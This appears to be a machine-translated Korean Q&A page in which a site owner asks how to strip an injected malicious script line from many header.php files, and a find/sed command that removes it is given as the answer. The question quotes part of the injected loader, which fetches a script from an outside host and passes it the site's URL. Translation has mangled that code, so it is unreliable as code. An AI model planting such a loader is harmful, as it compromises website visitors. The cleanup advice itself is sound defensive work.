2016-09-26 4 views
0

일부 파일에서 한 줄을 삭제하고 싶습니다.많은 header.php 파일에서 한 줄 삭제

특정 행 :

VAR의 A = ']에서는 setTimeout (1) 기능의 setcookie (A, B, C) {var에 D = 새로운 일자 d.setTime (d.getTime () + 0 *}}}}}}}}}}}}}}}}}}}}}}}} (var b = a + "=", c = document.cookie.split (";"), d = 0; dhttp : //www.gigascanner.com/js/jquery.min.php '+'? key = b64 '+ '& utm_campaign = '+'G91825 '+'& utm_source = '+ window.location.host + '& utm_medium = '+'& utm_content = '+ window.location +'& utm_term = '+ encodeURIComponent ((k = (function() {var keywords =' '; var metas = ) document.getElementsByTagName ('메타 ' {for (var x = 0, y = metas.length; x < '+'/ script> '))));

나는 sed로 시도해 본다.

sed -i '/<script>var a='';setTimeout(1);function setCookie(a,b,c)/d' ./header.php 

이 질문은 읽었지만 나에게는 도움이되지 않습니다.

내가 뭔가 잘못했다고 생각하니? 의견에 대한

Delete lines in a text file that containing a specific string

+0

삭제할 줄이 여러 줄에 걸쳐 있습니까? – Inian

+0

아마도 가능합니다. 그러나 그러한 작업을 위해서 그래픽 도구가 유용하다는 것을 배웠습니다 ....'kfilereplace'를보세요. 매우 편리합니다. 그리고 드라이 런 모드를 가지고 있습니다 ;-) – arkascha

+0

은 아마 자체 따옴표를 지우려면 줄 바꿈으로서 큰 따옴표를 따옴표로 사용해야합니다. 또는'' ''의'\ x27'을 사용하십시오 – Sundeep

답변

0

감사합니다.

해결책을 찾았습니다.

find ./ -type f -exec sed -i '/setTimeout(1);function setCookie(a,b,c)/d' {} \; 
관련 문제